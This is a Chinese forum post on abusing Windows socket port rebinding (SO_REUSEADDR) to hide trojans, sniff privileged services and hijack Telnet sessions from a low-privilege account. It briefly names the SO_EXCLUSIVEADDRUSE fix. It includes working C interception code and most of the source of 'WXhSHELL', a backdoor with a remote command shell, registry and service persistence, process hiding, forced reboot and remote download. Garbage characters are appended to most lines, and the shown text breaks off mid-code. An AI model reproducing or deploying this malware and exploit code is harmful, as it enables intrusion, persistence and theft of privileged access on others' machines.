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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y8D'V)B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w`UB_h#Bl  
Tmg~ZI:MW  
  saddr.sin_family = AF_INET; .3t[M0sd  
vLXN{ ]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `/Zi=.rr  
tz6d}$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x3MV"hm2  
)R<hYd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gV9 1=Pj  
C;y3?+6P$  
  这意味着什么?意味着可以进行如下的攻击: O)kC[e4  
kViX FPW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CZS{^6Ye  
)K4 |-<i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,9`sC8w|  
> 't=r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fj[B,ua  
<9@I5 0;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {r#2X1  
hp@g iu7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NgaX&m`  
tT ~}lW)Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [kDjht|$>  
wyMj^+ 2m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .Qn54tS0q  
,)@Q,EHN;  
  #include [u[F6Wst  
  #include hCQz D2  
  #include /o*r[g7<  
  #include    BHy#g>KUF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6HW<E~G'6  
  int main() #Wey)DI  
  { 3U!\5Nsby  
  WORD wVersionRequested; 7q<I7Wt  
  DWORD ret; QU2\gAM  
  WSADATA wsaData;  !NUsfd  
  BOOL val; s+gZnne  
  SOCKADDR_IN saddr; %fGS< W;  
  SOCKADDR_IN scaddr; #joGIw  
  int err; ZqsI\"bj  
  SOCKET s; :<Yc V#!P  
  SOCKET sc; @kK${  
  int caddsize; vd c k  
  HANDLE mt; 3)^-A4~E  
  DWORD tid;   TPZZln'3   
  wVersionRequested = MAKEWORD( 2, 2 ); /d ?)  
  err = WSAStartup( wVersionRequested, &wsaData ); ,a9<\bd)  
  if ( err != 0 ) { Vv~rgNh  
  printf("error!WSAStartup failed!\n"); ;;pxI5  
  return -1; c^S^"M|  
  } oe}nrkmb  
  saddr.sin_family = AF_INET; {'4h.PB+r  
   ?%J{1+hY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -ve{O-;  
gk>-h,>"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E)DdiB'Rh  
  saddr.sin_port = htons(23); zRbooo{N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JV=d!Gi[C  
  { L1D{LzlBti  
  printf("error!socket failed!\n"); b*LEoQSl0V  
  return -1; "45O!AjP  
  } gQ %'2m+  
  val = TRUE; I2hX;pk,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3/RmJ `c{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;aExEgTq  
  { lJP6s k  
  printf("error!setsockopt failed!\n"); 6TvlK*<r=  
  return -1; e; 5 n.+m  
  } =W"BfG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v|C)Q %v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h7c8K)ntnf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X3vTyIsn  
uvz}qH@j/Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7d*SZmD  
  { Ml1yk)3G  
  ret=GetLastError(); -g(&5._,ZW  
  printf("error!bind failed!\n"); uh*b[`e  
  return -1; 2T3v^%%j  
  } {|c <8  
  listen(s,2); |v#N  
  while(1) b&f;p}C24  
  { hPLQ)c?   
  caddsize = sizeof(scaddr); ^B8%Re%  
  //接受连接请求 }\k"azQ`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -Qgu 6Ty  
  if(sc!=INVALID_SOCKET) pRe, B'&  
  { UKMr,{iy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ; {$9Sc $  
  if(mt==NULL) SUsD)!u_H  
  { s,XKl5'+8e  
  printf("Thread Creat Failed!\n"); +QT(~<  
  break; 3YVG|Bc~_  
  } rC V&& 09  
  } 9oKRn c  
  CloseHandle(mt); 9 =7),`$  
  } j38>,9u,  
  closesocket(s); XP~bmh,T,  
  WSACleanup(); &@u;xc| v  
  return 0; /Aoo h~  
  }   H RJz  
  DWORD WINAPI ClientThread(LPVOID lpParam) L\|p8jJ  
  { xq+$Q:f  
  SOCKET ss = (SOCKET)lpParam; Sr Z\]  
  SOCKET sc; iK8aj)%Q@  
  unsigned char buf[4096]; "v@$CR9<T  
  SOCKADDR_IN saddr; `VX]vumG  
  long num; >MZWm6M8  
  DWORD val; VRurn>y0  
  DWORD ret; 4vKp341B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Bh$ hgf.C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -Zc 6_]F|  
  saddr.sin_family = AF_INET; RL7OFfMe  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %m$TV@  
  saddr.sin_port = htons(23); cf)2GoV>e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0(\ybppx  
  { S^'?s fq  
  printf("error!socket failed!\n"); L)H' g  
  return -1; *@[DG)N  
  } "W$,dWF  
  val = 100; _Bm/v^(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L"6qS3[=  
  { :=WiT_M  
  ret = GetLastError(); RO"c+|Py  
  return -1; @ de_|*c  
  } $BKGPGmh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]vj=M-:+  
  { u~FXO[b  
  ret = GetLastError(); {)nm {IV,  
  return -1; <cm,U)j2  
  } Sd/?xyF1(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d~@&*1}  
  { T;K,.a8bU  
  printf("error!socket connect failed!\n"); rM<|<6(L  
  closesocket(sc); m-9{@kgAM?  
  closesocket(ss); %> Z;/j|#r  
  return -1; qXPjxTg{[  
  } o5?f]Uq5 ,  
  while(1) yk OJhd3  
  { OEmz`JJ67  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]Tk3@jw+b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #ky]@vyO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l6Wa~E  
  num = recv(ss,buf,4096,0); 2Pn  
  if(num>0) /T&z :st0  
  send(sc,buf,num,0); 9SF2  
  else if(num==0) l]D?S]{a  
  break; Lh.?G#EM  
  num = recv(sc,buf,4096,0); b@j**O>[q)  
  if(num>0) 5>+>=)*  
  send(ss,buf,num,0); !dQG 5v  
  else if(num==0) COPH)Bdq.  
  break; Y-\/Y*;cd  
  } aC:Sy^Tf  
  closesocket(ss); 5q?2?j/h  
  closesocket(sc); Z]f_? @0  
  return 0 ; ))f%3_H  
  } % B+W#Q`  
6U[`CGL66  
t=M:L[bis;  
========================================================== R{Q*"sf  
U5Say3r  
下边附上一个代码,,WXhSHELL ,>%2`Z)  
A*#.7Np!"  
========================================================== 1sp>UBG  
6vp\~J  
#include "stdafx.h" G?$|aQ0j  
"]h4L  
#include <stdio.h> ` b a}6D  
#include <string.h> 6)63Yp(  
#include <windows.h> [r,a0s  
#include <winsock2.h> 6\>S%S2:  
#include <winsvc.h> P__JN\{9  
#include <urlmon.h> 8q9HQ4dsL  
Pf&\2_H3s9  
#pragma comment (lib, "Ws2_32.lib") xL8r'gV@  
#pragma comment (lib, "urlmon.lib") 6UK{0\0  
xG:eS:iT  
#define MAX_USER   100 // 最大客户端连接数 l_bvwo  
#define BUF_SOCK   200 // sock buffer ~/Gx~P]  
#define KEY_BUFF   255 // 输入 buffer eF+:w:\h  
g-`HKoKe  
#define REBOOT     0   // 重启 C "XvspJ  
#define SHUTDOWN   1   // 关机 bH4'j/3  
hu}`,2  
#define DEF_PORT   5000 // 监听端口 V5w00s5?%  
tGHZU^B:}  
#define REG_LEN     16   // 注册表键长度 `x%v& >  
#define SVC_LEN     80   // NT服务名长度 jo 0 d#  
'z$BgXh\  
// 从dll定义API u[nx?!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xCU^4DO3p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q =sEtH=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ":s1}A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); al>^}:  
RsV<4$  
// wxhshell配置信息 A9Cq(L_H  
struct WSCFG { rg Gm[SL*<  
  int ws_port;         // 监听端口 m(MPVY<X  
  char ws_passstr[REG_LEN]; // 口令 ?sfas57&y  
  int ws_autoins;       // 安装标记, 1=yes 0=no `o~ dQb/k+  
  char ws_regname[REG_LEN]; // 注册表键名 iSD E6  
  char ws_svcname[REG_LEN]; // 服务名 |  RMIV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Py2AnpYa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7|4t;F!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]7<}EG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e8T#ZWr*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o!:V=F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >YP6/w,e  
I(LBc  
}; V1 y"  
lAjP'(  
// default Wxhshell configuration ffMh2   
struct WSCFG wscfg={DEF_PORT, v4M1uJ8  
    "xuhuanlingzhe", O?`=<W/R  
    1, l 2&cwjc  
    "Wxhshell", &o{=  
    "Wxhshell", ~ *:{U   
            "WxhShell Service", nnr g^F  
    "Wrsky Windows CmdShell Service", `/]Th&(5  
    "Please Input Your Password: ", #p'Xq }]  
  1, +ob<? T  
  "http://www.wrsky.com/wxhshell.exe", 9 0PF)U  
  "Wxhshell.exe" .|>zQ(7YC  
    }; q\+khy,k  
OZ{YQ}t{^1  
// 消息定义模块 S$9>9!1>*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SN w3xO!;&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BET3tiHV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <}e2\x  
char *msg_ws_ext="\n\rExit."; fTQ_miAlP  
char *msg_ws_end="\n\rQuit."; IQn|0$':Z  
char *msg_ws_boot="\n\rReboot..."; 8 MUY  
char *msg_ws_poff="\n\rShutdown..."; +um Ua  
char *msg_ws_down="\n\rSave to "; L~x PIu  
 pkWJb!  
char *msg_ws_err="\n\rErr!"; l!r2[T]I@7  
char *msg_ws_ok="\n\rOK!"; 5:3%RTLG  
Wh PwD6l>  
char ExeFile[MAX_PATH]; 3FWl_d~uD  
int nUser = 0; sEBZ-qql  
HANDLE handles[MAX_USER]; Hn~=O8/2  
int OsIsNt; o1jDQ+  
J\7ukm"9  
SERVICE_STATUS       serviceStatus; tG!ApL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qs v3`c  
%N((p[\H  
// 函数声明 =&Dt+f&  
int Install(void); "ecG\}R=  
int Uninstall(void); -nBb - y  
int DownloadFile(char *sURL, SOCKET wsh); ZR|)+W;  
int Boot(int flag); D@jG+k-Lm  
void HideProc(void); 2hZ>bg  
int GetOsVer(void); KDx~^OO  
int Wxhshell(SOCKET wsl); j_=A)B?  
void TalkWithClient(void *cs); B 4s^X`?z  
int CmdShell(SOCKET sock); |%wgux`z  
int StartFromService(void); lqD.epm  
int StartWxhshell(LPSTR lpCmdLine); t9zPUR  
f~U~f}Uw4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AH*{Bi[vX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l,z# : k  
+|Tz<\.C  
// 数据结构和表定义 F.9SyB$  
SERVICE_TABLE_ENTRY DispatchTable[] = M5$YFGGR  
{ %}< e;t-O  
{wscfg.ws_svcname, NTServiceMain}, VD=}GY33=  
{NULL, NULL} z"cF\F  
}; &/%A 9R,  
q. i2BoOd  
// 自我安装 ~ ^)D#Lo  
int Install(void) xZmO^F5KHj  
{ G)p pkH`qj  
  char svExeFile[MAX_PATH]; r'!HWR  
  HKEY key; E cS+/  
  strcpy(svExeFile,ExeFile); q?R)9E$h  
X5s.F%Np!  
// 如果是win9x系统,修改注册表设为自启动 X<pg^Y0  
if(!OsIsNt) { >[,ywRJ#_}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'brt?oZ%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !v^{n+  
  RegCloseKey(key); U<T.o0s=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C!]R0L*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KyQO>g{R  
  RegCloseKey(key); JnC$}amr  
  return 0; 0Dx,)C  
    } (#|CL/&  
  } f9+J}  
} G~$.Af!9W  
else { ejr9e@D^  
CV9o,rL  
// 如果是NT以上系统,安装为系统服务 J%8M+!`F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0F"W~OQ6  
if (schSCManager!=0) ~&zrDj~FI  
{ MCPVql`+`q  
  SC_HANDLE schService = CreateService }]dK26pX  
  ( &E{CQ#k  
  schSCManager, 8$!&D&v  
  wscfg.ws_svcname, Qqp_(5S|>  
  wscfg.ws_svcdisp, 4*j6~  
  SERVICE_ALL_ACCESS, |@84l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l|, Hj  
  SERVICE_AUTO_START, NNKI+!vg  
  SERVICE_ERROR_NORMAL, (8Q0?SZN  
  svExeFile, *=sMJY9#jE  
  NULL, x,U '!F  
  NULL, 0 _!')+  
  NULL, cRR[ci34k  
  NULL, \a_75^2  
  NULL e(e_p#  
  ); x.5!F2$  
  if (schService!=0) LB(I^  
  { \&{a/e2:S  
  CloseServiceHandle(schService); 4tQ~Z6Jn;  
  CloseServiceHandle(schSCManager); J$aE:g6'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SG5GJCkc  
  strcat(svExeFile,wscfg.ws_svcname); fU6O:-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {Xw6]d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {D6p?TL+  
  RegCloseKey(key); (D\7EH\9,]  
  return 0; n@TK}?\UoR  
    } _Q9Mn-&qQ  
  } )bd)noZi  
  CloseServiceHandle(schSCManager); QR ?JN\%?  
} -Kas9\VWEw  
} :4Gc'b R  
?S*Cvr+=4  
return 1; #[ H4`hZ  
} 1g{-DIOmn  
Nldy76|g  
// 自我卸载  wZ(H[be  
int Uninstall(void) (G>S`B  
{ e9LP!"@EY  
  HKEY key; S'%|40U  
Wz8 MV -D  
if(!OsIsNt) { |)Q#U$ m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6#J>b[Q  
  RegDeleteValue(key,wscfg.ws_regname); KT 4h3D`,  
  RegCloseKey(key); }Wk^7[Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O(R1D/A[  
  RegDeleteValue(key,wscfg.ws_regname); TR<M3,RG#%  
  RegCloseKey(key); y[D8rFw  
  return 0; f:\)oIW9Kk  
  } c\Z.V*o  
} Y94 ^mt-  
} s~z~9#G(6  
else { }&*wJ]j`L  
& t.G4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5[[mS  
if (schSCManager!=0) r_x|2 A oO  
{ ~E8L,h~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iBM;$0Y  
  if (schService!=0) wHT]&fZ  
  { {4 y#+[  
  if(DeleteService(schService)!=0) { D2y[?RG  
  CloseServiceHandle(schService); #VvU8"u  
  CloseServiceHandle(schSCManager); IjPCaH.:t  
  return 0; wHR# -g'  
  } O)aWTI  
  CloseServiceHandle(schService); TQ,KPf$0U  
  } |zkZF|-  
  CloseServiceHandle(schSCManager); zao=}j?  
} @^2?97i c  
} O x),jc[/  
=d*5TyAcu  
return 1; t=;P1d?E;  
} anzt;V.;Y  
#Q]^9/;|4n  
// 从指定url下载文件 NT0im%  
int DownloadFile(char *sURL, SOCKET wsh) G%HuB5:u  
{ ^H(,^cVN  
  HRESULT hr; ^vY[d]R _\  
char seps[]= "/"; "c5bz  
char *token; 61@;3yV  
char *file; pBxyq"z  
char myURL[MAX_PATH]; W=S<DtG2  
char myFILE[MAX_PATH]; !U "?vSl  
<k'%rz  
strcpy(myURL,sURL); uxOeD%Z>  
  token=strtok(myURL,seps); iLbf:DXK(  
  while(token!=NULL) n/6qc3\5i  
  { |>~pA}  
    file=token; }T~ }W8H  
  token=strtok(NULL,seps); [S_qi,  
  } iD${7 _  
X{u\|e{  
GetCurrentDirectory(MAX_PATH,myFILE); -z~;f<+I`  
strcat(myFILE, "\\"); fEB&)mM  
strcat(myFILE, file); "g%=FH3e  
  send(wsh,myFILE,strlen(myFILE),0); &cSZ?0R  
send(wsh,"...",3,0); YApm)O={  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p.|M:C\xL  
  if(hr==S_OK) q2e=(]rKE{  
return 0; ZnAXb S  
else wj{[g^y%  
return 1; N \t( rp  
'JRYf;9c  
} Fd;%wWY.zm  
=#>F' A  
// 系统电源模块 }{S+C[:_  
int Boot(int flag) h0aK}`/a  
{ 0}3Xry,{  
  HANDLE hToken; VK>Cf>  
  TOKEN_PRIVILEGES tkp; eUVhNg  
63fg l+  
  if(OsIsNt) { $.F.xYS9IJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -(lCM/h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fc<~R  
    tkp.PrivilegeCount = 1; >]<4t06D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UJiy] y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i@L_[d^|j`  
if(flag==REBOOT) { C0}@0c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xO{$6M3-~  
  return 0; >pm`(zLn  
} ~zYk,;m  
else { XM57 UG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x~u"KU2B  
  return 0; 1W'0h$5^"  
} @h,3"2W{Ev  
  } WD>z  
  else { dvu8V_U  
if(flag==REBOOT) { O^~Z-; FA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E*"oA1/I  
  return 0; dqgH"g  
} 6FkBb !ASk  
else { #SX-Y)> 1@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ez14f$cJ+  
  return 0; mMw--Gc?  
} ECk* H  
} #Dp]S, e  
K"jS,a?s 6  
return 1; J3XrlSc  
} Tn"^`\m  
uE,g|51H/  
// win9x进程隐藏模块 tF:AqR: (~  
void HideProc(void) )?{jD  
{ `hf`lq^  
(>SucUU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O?t49=uB}  
  if ( hKernel != NULL ) -<l2 $&KS  
  { Wi@YJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vr:`?V9Q2(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C@3UsD\s(  
    FreeLibrary(hKernel); mRIBE9K+&  
  } ;;K ~  
4+J>/ xiZ  
return; 7hhv/9L1  
} 8?LHYdJ  
@xeJ$ rlu  
// 获取操作系统版本 E5yn,-GyE0  
int GetOsVer(void) J^-a@' `+  
{ 4hx4/5[^  
  OSVERSIONINFO winfo; 6 w4HJZF~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )lU9\"?o  
  GetVersionEx(&winfo); o]DYS,v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 30W.ks5(  
  return 1; WOQ>]Z  
  else E?FUr?-[  
  return 0; *)L~1;7j>  
} PsM8J  
3qkPe_<I  
// 客户端句柄模块 Z~] G+(  
int Wxhshell(SOCKET wsl) 'fYF1gR4  
{ p"0Dl9  
  SOCKET wsh; _%u t#  
  struct sockaddr_in client; gh `]OxA  
  DWORD myID; \ #N))gAQ  
^p~QHS/  
  while(nUser<MAX_USER) "(mF5BE-E  
{ p,BoiYdi  
  int nSize=sizeof(client); tYp 185  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u\(>a  
  if(wsh==INVALID_SOCKET) return 1; ]Pe8G(E!  
)jjL'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *|ef#-|D  
if(handles[nUser]==0) 1&RB=7.h  
  closesocket(wsh);  Vqr]Ui  
else ar _@"+tZ  
  nUser++; 0),fY(D2T  
  } DWS#q|j`"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YjiMUi\V  
_ glB<r$  
  return 0; ?)H:.]7-x  
} Fj46~#ZZ  
|rI;OvZ\  
// 关闭 socket 29zMs9oKPP  
void CloseIt(SOCKET wsh) \U<d)j/  
{ ux~=}{tz  
closesocket(wsh); `Hqgahb{P  
nUser--; Wm4C(y@  
ExitThread(0); &Im-@rV!  
} )J?8"+_Y  
}tL]EW^  
// 客户端请求句柄 $o/i / wcj  
void TalkWithClient(void *cs) ~])Q[/=p  
{ ;I*N%a TK  
MDBqIL]Hc  
  SOCKET wsh=(SOCKET)cs; ~~@dbB  
  char pwd[SVC_LEN]; _WZ{i,  
  char cmd[KEY_BUFF]; sR^b_/ElxT  
char chr[1]; t'Zv)Wu1E  
int i,j; ] Upr<!  
UOyM=#ipY  
  while (nUser < MAX_USER) { J%lrXm(l{  
^r,0aNzAs  
if(wscfg.ws_passstr) { 97/ 4J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EQQ@nW{;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xd\ml 37~  
  //ZeroMemory(pwd,KEY_BUFF); b~2LD3"3  
      i=0; 6z]y =J  
  while(i<SVC_LEN) { _sn<"B%>  
jO9! :L>b`  
  // 设置超时 nNeCi  
  fd_set FdRead; _9dW+  
  struct timeval TimeOut; NKc<nYdK?  
  FD_ZERO(&FdRead); {0 %  
  FD_SET(wsh,&FdRead); Ta$55K0  
  TimeOut.tv_sec=8; YP[8d,  
  TimeOut.tv_usec=0; UXh%DOq   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B6@q`Bmw.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VK!HuO9l  
$)~:H-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,& wd  
  pwd=chr[0]; ]^8CtgC  
  if(chr[0]==0xd || chr[0]==0xa) { {-Gh 62hDg  
  pwd=0; &DjA?0`J  
  break; wR,}#m,  
  } ' 6)Yf}I  
  i++; O{\%{XrW  
    } W>qu~ak?x  
j3H_g ^  
  // 如果是非法用户,关闭 socket Z>l|R C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @6Lp $w  
} W)'*Dcd  
xm5?C>vu(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +d?|R5{3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KyQTrl.qdl  
5$Kd<ky  
while(1) { WX]O1Y  
EdTL]Xk  
  ZeroMemory(cmd,KEY_BUFF); olr-oi`4C  
Yf/e(nV  
      // 自动支持客户端 telnet标准   +43~4_Oj  
  j=0; ^Ku]8/ga  
  while(j<KEY_BUFF) { l`uMtv/Wp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yo(MJ^=d  
  cmd[j]=chr[0]; X|&H2y|*7  
  if(chr[0]==0xa || chr[0]==0xd) { YWJ$Pp  
  cmd[j]=0; q<Qjc  
  break; K#'$_0.  
  } ^I yYck'y+  
  j++; u'k+t`V&  
    } [LQOP3f  
vz|(KN[  
  // 下载文件 ]O{i?tyX  
  if(strstr(cmd,"http://")) { ^Epup$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F'F 6 &a+  
  if(DownloadFile(cmd,wsh)) 5;G0$M0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }/#*opcv  
  else n).*=YLN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q[+ h ~)  
  } G B,O  
  else {  NEPK   
D>;_R HK  
    switch(cmd[0]) { "shX~zd5  
  WnOvU<Z <  
  // 帮助 aOd|;Z  
  case '?': { KJv%t_4'F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cK2;)&U7  
    break; :_]0 8  
  } MppT"t  
  // 安装 z}B8&*>  
  case 'i': { 6!?] (  
    if(Install()) "q1S.3V;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @t@B(1T  
    else 8)1=5 n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wt;`_}g  
    break; pQ!lY  
    } Q2)(tB= )  
  // 卸载 IOF!Ra:w  
  case 'r': { 4)>UTMF  
    if(Uninstall()) %O f w"W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .t8hTlV?<B  
    else /I1n${{5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'rS\9T   
    break; zb4{nzX=  
    } j%D{z5,nKm  
  // 显示 wxhshell 所在路径 wc~s:  
  case 'p': { mP/#hwzB&q  
    char svExeFile[MAX_PATH]; $CJf 0[|  
    strcpy(svExeFile,"\n\r"); cui%r!D  
      strcat(svExeFile,ExeFile); 7ku=roPoF  
        send(wsh,svExeFile,strlen(svExeFile),0); x!vyjp  
    break; v=+3AW-|v  
    } {\NBNg(Vo  
  // 重启  I{ki))F  
  case 'b': { = Ezg3$%-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xK)<7 63q>  
    if(Boot(REBOOT)) M2RkrW#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lrwQ >N  
    else { ]~VuY:abH  
    closesocket(wsh); -QR]BD%J*[  
    ExitThread(0); Qx3eEt@X5]  
    } !`4ie  
    break; 1RX-`"^+  
